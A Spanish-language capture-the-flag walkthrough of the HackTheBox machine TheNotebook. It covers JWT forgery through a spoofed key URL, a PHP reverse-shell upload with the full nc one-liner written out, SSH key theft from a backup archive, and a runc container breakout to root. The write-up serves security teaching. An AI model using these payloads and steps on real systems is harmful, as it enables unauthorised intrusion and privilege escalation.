En TheNotebook encontramos una aplicacion utilizando JWT, modificamos el token para validar con una clave propia, lo que nos permitio "escalar privilegios" en la aplicacion, y tras subir un archivo PHP ejecutar comandos. Cambiamos al siguiente usuario utilizando una clave privada dentro de un backup, finalmente escalamos privilegios por medio de Docker.
Nombre |
TheNotebook |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.230 |
Maker |
mostwanted002 |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.7, 5.8, 5.9, 4.1, 4.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[10, 8, 8, 2, 2],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
RECON
NMAP
Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# Nmap 7.91 scan initiated Tue Mar 9 17:41:20 2021 as: nmap -p- --min-rate 10000 -oN allports 10.129.85.125
Warning: 10.129.85.125 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.85.125 (10.129.85.125)
Host is up (0.084s latency).
Not shown: 35296 closed ports, 30237 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Tue Mar 9 17:42:49 2021 -- 1 IP address (1 host up) scanned in 88.35 seconds
# Nmap 7.91 scan initiated Tue Mar 9 17:45:08 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.129.85.125
Nmap scan report for 10.129.85.125 (10.129.85.125)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 9 17:45:19 2021 -- 1 IP address (1 host up) scanned in 10.92 seconds
|
HTTP
Encontramos una pagina web en el puerto 80, donde es posible ingresar creando una cuenta.
GOBUSTER
Utilizamos GOBUSTER para busqueda de directorios y archivos, aunque, encontramos las mismas direcciones que se encuentran en la pagina inicial.
1
2
3
4
5
6
|
┌──(kali㉿kali)-[~/htb/thenotebook]
└─$ gobuster dir -u http://10.129.85.125/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,xml,js -q
/login (Status: 200)
/register (Status: 200)
/admin (Status: 403)
/logout (Status: 302)
|
Registramos e ingresamos con un usuario y encontramos la opcion de Notes donde es posible crear notas mediante un titulo y cuerpo. En ninguno de los campos encontramos algun tipo de vulnerabilidad.
JWT COOKIE
Encontramos que la aplicacion está utilizando JSON Web Tokens. Utilizando jwt.io encontramos la estructura del token decodificado, la cual nos proporciona informacion del header y payload, se muestra que, esta utilizando el algoritmo RS256 o RSA Signature con SHA-256, además utiliza el kid
o keyid cuyo valor es de una ruta en un puerto local, este ultimo es utilizado para verificar o firmar el token que esta siendo utilizado en la aplicacion. En el payload vemos el username, email y admin_cap. admin_cap
probablemente sea utilizado para los permisos o nivel de privilegios de los usuarios. Finalmente vemos la firma.
ADMIN - EDIT JWT COOKIE
Para poder “modificar” los privilegios o permisos del usuario en el token, creamos un nuevo token utilizando jwt.io con una clave privada nuestra, utilizando la informacion del usuario que registramos. Primero creamos nuestra clave privada utilizando ssh-keygen
.
1
|
ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key
|
En el token modificamos el valor de kid
para que apunte hacia nuestra direccion ip y verifique mediante nuestra clave privada el token que creamos. Tambien, modificamos el valor de admin_cap
a 1
para intentar “elevar” nuestro nivel de permisos o privilegios en la aplicacion. Finalmente copiamos y pegamos nuestra clave privada, con esto jwt.io nos generaría nuestro token.
Creamos un mini servidor con python3 en la carpeta o direccion donde creamos nuestra clave privada. Finalmente utilizamos el token generado, modificando el existente mediante las herramientas de desarrollador de firefox.
Refrescamos la pagina para que tome nuestro nuevo token y vemos que logramos elevar los privilegios de nuestro usuario, vemos una opcion nueva, en esta es posible ver las notas y subir archivos.
En las notas vemos dos interesantes, en la primera Need to fix config, menciona que los archivos PHP son ejecutados y que puede ser un problema potencial para el servidor, en el segundo Backups are scheduled habla sobre backups y menciona que son muy faciles en el servidor.
www-data - USER
Con la informacion de notas podemos asumir que los archivos PHP aun estan siendo ejecutados, subimos un archivo PHP con una shell inversa, visitamos la url de la ubicacion del archivo y logramos obtener una shell con el usuario www-data
.
1
2
3
|
<?php
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.20 1338 >/tmp/f')
?>
|
Noah - USER
Enumeramos la maquina, encontramos en la carpeta backups en /var/
un archivo comprimido, al descomprimir encontramos la clave privada del usuario noah, intentamos utilizar este archivo de manera remota pero no nos permitió ingresar la maquina, por lo que ingresamos de manera local, logramos obtener una shell con este usuario y nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
pwd
/var/backups
ls -lah
ls -lah
total 696K
drwxr-xr-x 2 root root 4.0K Mar 9 06:28 .
drwxr-xr-x 14 root root 4.0K Feb 12 06:52 ..
-rw-r--r-- 1 root root 50K Mar 9 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 33K Feb 24 08:53 apt.extended_states.0
-rw-r--r-- 1 root root 3.6K Feb 23 08:58 apt.extended_states.1.gz
-rw-r--r-- 1 root root 3.6K Feb 12 06:52 apt.extended_states.2.gz
-rw-r--r-- 1 root root 437 Feb 12 06:17 dpkg.diversions.0
-rw-r--r-- 1 root root 172 Feb 12 06:52 dpkg.statoverride.0
-rw-r--r-- 1 root root 559K Feb 24 08:53 dpkg.status.0
-rw------- 1 root root 693 Feb 17 13:18 group.bak
-rw------- 1 root shadow 575 Feb 17 13:18 gshadow.bak
-rw-r--r-- 1 root root 4.3K Feb 17 09:02 home.tar.gz
-rw------- 1 root root 1.6K Feb 12 06:24 passwd.bak
-rw------- 1 root shadow 1.0K Feb 12 07:33 shadow.bak
www-data@thenotebook:/var/backups$
tar -xvf home.tar.gz -C /tmp/
tar -xvf home.tar.gz -C /tmp/
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub
www-data@thenotebook:/var/backups$ cd /tmp/home/noah/.ssh
www-data@thenotebook:/tmp/home/noah/.ssh$
ls -lah
total 20K
drwx------ 2 www-data www-data 4.0K Feb 17 08:59 .
drwxr-xr-x 5 www-data www-data 4.0K Feb 17 09:02 ..
-rw-r--r-- 1 www-data www-data 398 Feb 17 08:59 authorized_keys
-rw------- 1 www-data www-data 1.7K Feb 17 08:59 id_rsa
-rw-r--r-- 1 www-data www-data 398 Feb 17 08:59 id_rsa.pub
cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyqucvz6P/EEQbdf8cA44GkEjCc3QnAyssED3qq9Pz1LxEN04
HbhhDfFxK+EDWK4ykk0g5MvBQckcxAs31mNnu+UClYLMb4YXGvriwCrtrHo/ulwT
[... REDACTED ...]
Uh6he5GM5rTstMjtGN+OQ0Z8UZ6c0HBM0ulkBT9IUIUEdLFntA4oAVQ=
-----END RSA PRIVATE KEY-----
www-data@thenotebook:/tmp/home/noah/.ssh$
|
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos sudo (root) para ejecutar el comando /usr/bin/docker exec -it webapp-dev01*
. Al intentar ejecutar este comando utilizando pwd
(/usr/bin/docker exec -it webapp-dev01* pwd
) nos muestra un error, ya que no existe un contenedor que contenga el caracter *, si eliminamos este ultimo caracter el comando se ejecuta.
1
2
3
4
5
6
7
8
9
10
|
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01*
"docker exec" requires at least 2 arguments.
See 'docker exec --help'.
Usage: docker exec [OPTIONS] CONTAINER COMMAND [ARG...]
Run a command in a running container
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 pwd
/opt/webapp
noah@thenotebook:~$
|
Al ejecutar bash
obtenemos una shell root en el contenedor, donde estan todos los archivos de la aplicacion web, enumeramos el contenedor pero no encontramos nada para escalar privilegios en el host.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
root@0f4c2517af40:/opt/webapp# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/opt/webapp
root@0f4c2517af40:/opt/webapp# ls -lah
total 52K
drwxr-xr-x 1 root root 4.0K Feb 12 07:30 .
drwxr-xr-x 1 root root 4.0K Feb 12 07:30 ..
drwxr-xr-x 1 root root 4.0K Feb 12 07:30 __pycache__
drwxr-xr-x 3 root root 4.0K Nov 18 13:27 admin
-rw-r--r-- 1 root root 3.3K Nov 16 19:43 create_db.py
-rw-r--r-- 1 root root 9.3K Feb 11 15:00 main.py
-rw------- 1 root root 3.2K Feb 11 15:09 privKey.key
-rw-r--r-- 1 root root 78 Feb 12 07:12 requirements.txt
drwxr-xr-x 3 root root 4.0K Nov 19 10:57 static
drwxr-xr-x 2 root root 4.0K Nov 18 13:47 templates
-rw-r--r-- 1 root root 20 Nov 20 09:18 webapp.tar.gz
root@0f4c2517af40:/opt/webapp#
|
DOCKER
Verificamos la version de docker y realizamos una busqueda de exploits para esta version, vemos algunos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#TheNotebook - Host
noah@thenotebook:~$ docker --version
Docker version 18.06.0-ce, build 0ffa825
noah@thenotebook:~$
#Kali
┌──(kali㉿kali)-[~/htb/thenotebook/tmp]
└─$ searchsploit docker 18
---------------------------------------------------------------------------
Exploit Title | Path
---------------------------------------------------------------------------
Docker 0.11 - VMM-Container Breakout | linux/local/33808.c
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1) | linux/local/46359.md
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2) | linux/local/46369.md
---------------------------------------------------------------------------
Shellcodes: No Results
|
Vemos algunos exploits que podrian afectar a la version de docker que se presenta, se define la explicacion:
… runc es la herramienta de bajo nivel que hace el trabajo pesado de generar un contenedor Linux. Otras herramientas como Docker, Containerd y CRI-O se encuentran en la parte superior de runc para lidiar con cosas como el formateo y la serialización de datos, pero runc está en el corazón de todos estos sistemas.
La vulnerabilidad se da: … cuando se ejecuta un proceso como root dentro de un contenedor, ese proceso puede aprovechar un error en runc para obtener privilegios de root en el host que ejecuta el contenedor …
Utilizamos el exploit runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1) para escalar privilegios:
- Editamos el archivo
payload.c
donde agregamos nuestra ip y puerto, además ponemos a la escucha con netcat en el puerto especificado.
- Compilamos el archivo exploit y payload:
make
.
- Descargamos los archivos dentro del contenedor utilizando
wget
.
- Al tener los archivos dentro, ejecutamos
pwn.sh
.
- En otra shell con
noah
ejecutamos sudo /usr/bin/docker exec -it webapp-dev01 sh
lo que ejecutará el archivo exploit
y este ultimo el archivo payload
que contiene una shell inversa, con lo cual logramos obtener una shell root y nuestra flag root.txt
.
PAYLOAD
Durante la ejecucion de este exploit se dio el “error” de que la shell inversa no se ejecutaba correctamente por lo que en el caso anterior se utilizó este payload.
UPDATE NOAH SHELL
Inicialmente se utilizó la shell del usuario www-data para cambiar al usuario noah ya que la clave id_rsa
del archivo home.tar.gz
no dejaba ingresar remotamente, pero al tener una shell con noah, dentro de su directorio .ssh
encontramos una clave privada con la cual si es posible ingresar remotamente.